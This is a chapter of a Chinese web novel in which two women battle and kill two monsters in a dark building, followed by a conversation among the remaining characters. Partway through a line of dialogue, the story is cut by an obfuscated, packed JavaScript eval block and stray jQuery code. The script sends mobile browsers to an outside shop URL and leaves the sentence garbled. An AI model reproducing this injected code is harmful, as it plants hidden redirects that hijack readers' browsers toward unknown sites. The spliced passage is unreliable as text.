紧接着出现的是一个幼童的脑袋。
不过这只是从体态来看,当在微光下瞧清了模样后,许明欣便很难再把他称为幼童了。
那张本应圆润的脸上满是褶皱,五官甚至都没在该在的地方,歪斜的嘴张了张,似乎是想发出什么音节,努力一番还是没能成功,最后又变成了更清晰的“嘻嘻”声。
无论是阴暗的环境还是人物的诡异,都远胜前两日所见,但哪怕直观的刺激让身体肌肉本能地跳动了一下,练得趋于麻木的胆量仍使许明欣镇定地站在原地。
另一边的吴萸亦是未动,凝眉安静地盯着,随时做好出手的准备。
这幼童左右转了转脑袋,黑漆漆的眼睛滴溜在她们身上转了一圈。
以目前的情况,许明欣还没办法断定他到底是什么。
除了存在形态有点特殊,是实体或可以随心出现消失,NPC在其他方面大概都会遵从着与人相似的行为及能力,所以需要再等一等。
显然另一边的吴萸也在等待时机,以免错误的判断导致失去关键信息。
然而就在这时,幼童锁定了目标,目光直直地盯住许明欣,双手抓着木板,像虫子一样挂在墙面上,朝她飞速爬了过来。
如此,必然是夜殃!
虽然没有变成原本的模样,但是幼童的脖子仰了一百八十度,正面朝她咧了咧嘴角,许明欣当即挥刀向前。
幼童的身体似乎有些想躲闪,可在短暂的纠结后,舔了舔嘴角,还是选择寻找角度躲开刀刃朝她飞扑。
与此同时,身后的楼梯突然传来急促的脚步和吱呀声,声音巨大,带着更加危险的气息。
电光火石间,许明欣余光瞧见了吴萸准备对付幼童的动作,当即改变刀刃的方向,低身朝后方的来物刺去。
刀尖向手中传来划破夜殃肉皮的顿感。
而与此同时,空中又是“噗哧”一道刀刃刺入的声音,紧接着便是“咚”的一声,被吴萸刀尖扎住的幼童在她的力道下,甩得撞在了墙上。
它发出痛苦的叫声,下一瞬,褶皱的皮肤破开,露出原本漆黑的颜色,其他地方扭曲折叠,迅速化成了原身的一部分。
这个夜殃比之前遇到的扮成老婆婆的那个小了一些,模样也不同,脑袋更加圆润,脖子更长,还多了一条手臂,张开的嘴里牙齿密密麻麻、参差不齐。
而被许明欣划伤的这只一出场就是原样,可是尚不能看清身形。
刚刚的一击对它来说似乎不算什么,此刻已经再次朝她逼近。
昏暗的情况下对视线有所限制,许明欣借着光亮能看出其壮硕的躯体,她集中精神迅速分辨出一条手臂,而后立即冲上前将其抓住,用力一扭。
不料在没能将它切断之前,对方的另一条手臂已经朝她掐了过来。
许明欣没有慌张,心里快速分析,如果此刻为了摆脱它掐住自己的手臂而将刀刃转向,是可以逃离,但另一条便会功亏一篑,想动手还要再找时机。
她索性屏住呼吸,凝神聚力,咬紧牙关卯着劲儿切割。
“嗤”的一声,终于断开。
本来夜殃的嘴正张大朝着许明欣咬来,肩膀猝然的刺痛,令它抓住许明欣的手臂不由得一松。
许明欣趁机挥刀逃脱,掉在地板上滚了一圈,快速喘了两口气。
而另一边小一些的夜殃刚才就想再次朝着许明欣扑过来,但是被吴萸快步上前用绳子勒住,此刻一顿扑腾,脑袋奔着许明欣用力,猛舔嘴唇,比之前更加兴奋,也终于发出了音节。
“好饿……好吃……好饿……”
吴萸猜测应该是葬礼的机制起了效果,不然这些夜殃不会都奔着许明欣。
在全力压制住这只夜殃后,她毫不留情地将绳子一头的匕首扎进了它的脖子。
许明欣在逃脱后,借着稍微亮些的角度也大致看清了突然奔上二楼袭击她们的夜殃。
这只夜殃躯体结实,不似第一个那样细长,脑袋形状倒还是像个棒槌,但明显更加强壮,怪不得任未说那只应该不是很厉害。
而且它还张着一张更大的嘴,排排尖牙甚至数不过来,嘴角还挂着垂落很长的粘液,在微光下泛着亮,好像是它因为饥馋而流出的口水。
哪怕提前知道夜殃不是一个模样,但是亲眼见过这些之后,才算是有了实感。
不过它没有第一次遇见那个神经大条,失去手臂对它来说有些难以忍受,缓了一下才再次行动。
而在夜殃朝她扑过来之前,许明欣也举着刀找好角度躲开它的手臂,再次给它的身体来了一刀。
“明欣,过来这边!”
吴萸趁着自己没有被夜殃关注,借用长绳与附近的桌椅,做了个简易的陷阱。
许明欣瞬间明白了她的意思,没有执着在夜殃身上,立即朝吴萸指的方向奔去,诓骗怪物,直到临近时才从地上滚了一圈。
夜殃已经原地跳起朝着她本来的轨迹扑了过来,结果绊倒在桌椅间,压碎几件。
虽然踩碎的桌椅对它来说不算什么,这些普通的东西根本伤不了它,但是破碎的木块和沾血的绳子却缠住了它的动作。
在它试图跳起来摆脱之际,吴萸的匕首已经刺进了它的身后。
它大吼一声,仰头背手,想先把让它痛苦的匕首拔掉,这时许明欣两步冲上前,眼睛紧盯着致命的位置,将菜刀剁进了它的脖子里。
夜殃扑腾两下,腿脚发软,终究还是噗咚一声砸倒在地面,二楼的地板似乎都跟着颤了颤。
吴萸和许明欣对视一眼,取回武器,又在这只夜殃身上补了几刀,直到它彻底没了生机。
许明欣愣了愣神,长舒了一口气。
吴萸也抚上胸口,待平息下来关切地看向许明欣问:“你还好吗?”
许明欣抿了抿嘴,摇摇头说:“没事,你没受伤吧?”
“没有。”吴萸冲她露出一丝淡淡的笑,“我们配合得很好,要是黑水没有限制就好了,不止任未想和你一起行动,我也很想。”
许明欣稍稍一怔,随即轻笑着说:“我何尝不是呢,对我来说,刚进来就碰到你们,很幸运。”
她们一时半刻不好找别的武器,所以简单休息一下后,一起回收刀具和绳子。
这两只夜殃的反应让许明欣意识到她的葬礼确实没有失效,只是夜殃吃人的规则尚不清晰。
之前还担心没有作用,现在确定下来,许明欣反而因此松了口气。
吴萸对此也没有多说什么,只表示至少保证自己或任未一人在身边与她配合。
许明欣刚才就有个疑问,趁机提了出来:“之前听你们说,第二次进入是在杀光了所有的夜殃之后才成功将人带回,所以每个场地的夜殃都是固定数量的吗?”
吴萸缠着绳子,解释说:“直到目前为止,是这样的,但这也是猜测,没人给我们确切答案,只要发现某个特例后就可以推翻,但希望是按我们猜测的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553308|204262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。”
许明欣点点头,赞同她的话:“如果是这样,我们外出就算没找到人,杀了两只也会让大家更安全些。”
“对。”吴萸说着将绳子挂在腰间,面色却露出一点无奈,“就是不同的地方数量不同。”
如此虽然知道数量减少,但还是不知道总数,仍不可以掉以轻心。
离开前,吴萸瞥了一眼她最先杀死的那只小一些的夜殃。
许明欣注意到了她的犹疑,等两人重新来到街上的时候,许明欣关切询问:“怎么了?是有什么发现吗?”
她们朝着新的地点走去,吴萸迟疑着说:“不能确定,你还记得之前和你们说的那个吓跑了戴眼镜男生的男人吗?”
许明欣点头:“记得。”
吴萸继续说:“可能因为直观地看到过,所以我总感觉刚才那个夜殃扮的小孩儿的模样似乎和那个男人有点像。”
现在他们的疑点因为胡齐的回来而牵扯上了那个长相骇人的男NPC。
如果这个时候又看到了和他长得像的孩子,说是凑巧,就太牵强了。
许明欣想了想说:“我们先记着这个情况吧,继续查查,兴许哪时就串联起来了。”
而她没表达出来的是,如果假设他们有关系,再与目前所知的内容串联起来,她心里已冒出一个可怕的猜测。
但是在确定关联前,她极其希望是自己想错了,那也不必说出来让大家难受。
另一边,自许明欣和吴萸走后,几人的氛围在徐彤的啜泣下,显得有些低沉。
任未主动招呼着段兰霞她们聚在一起随便聊聊。
眼看着没有什么特殊情况发生,不安的情绪也缓和下来,他便让她们去休息了,自己则拉了把椅子朝着守在门边的关翊走过去。
关翊的情绪因许明欣的离开而变得不是很轻松,他一直待在门边不肯去别处,除了盯着胡齐的举动,也在注意着门外是否传来什么动静,好争取在第一时间做点什么。
任未找了个合适的角度,翘着二郎腿斜靠在椅子上,余光刚好能注意到其他几人的动向。
此刻师姐不在身边,任未对上关翊更是毫不忌讳,正要开口说点什么,不想关翊却先问了他。
“想加入你们的组织的话,有什么必要条件吗?”
“啊?”任未没想到他会问这个,稍微有点匪夷所思,打量他一眼,反问,“怎么,你是想加入吗?”
关翊微微一愣,问:“可以吗?”
“当然——”任未拖着长音,在关翊情绪起来的时候继续说,“不可以。”
关翊叹了口气。
现在遇见的一切都是颠覆过往认知的,他清楚许明欣他们的特殊,倒也没抱着这方面的期望。
任未看出一丝缘由,疑惑地问:“你是为了许明欣吗?”
关翊点头认下:“我其实是想多了解她一点,听一听在我们失去联系的时间里她都经历了什么。”
说着,他的眸光逐渐黯淡:“从前我很少去深入了解她、关心她,但我现在真的很难受、很懊悔,我不想再让她一个人承受了,可她的性格本就偏向隐忍,再加上我们现在的关系,哪怕对我的态度缓和,但我猜这也是被我烦的没办法了。”
任未心想,你还知道啊。
关翊的声音发抖,他用手捂住了眼睛,平复一下后才继续说:“她心软,在面临危险的状况下无法对我坐视不理,却还是不会想与我说什么的。”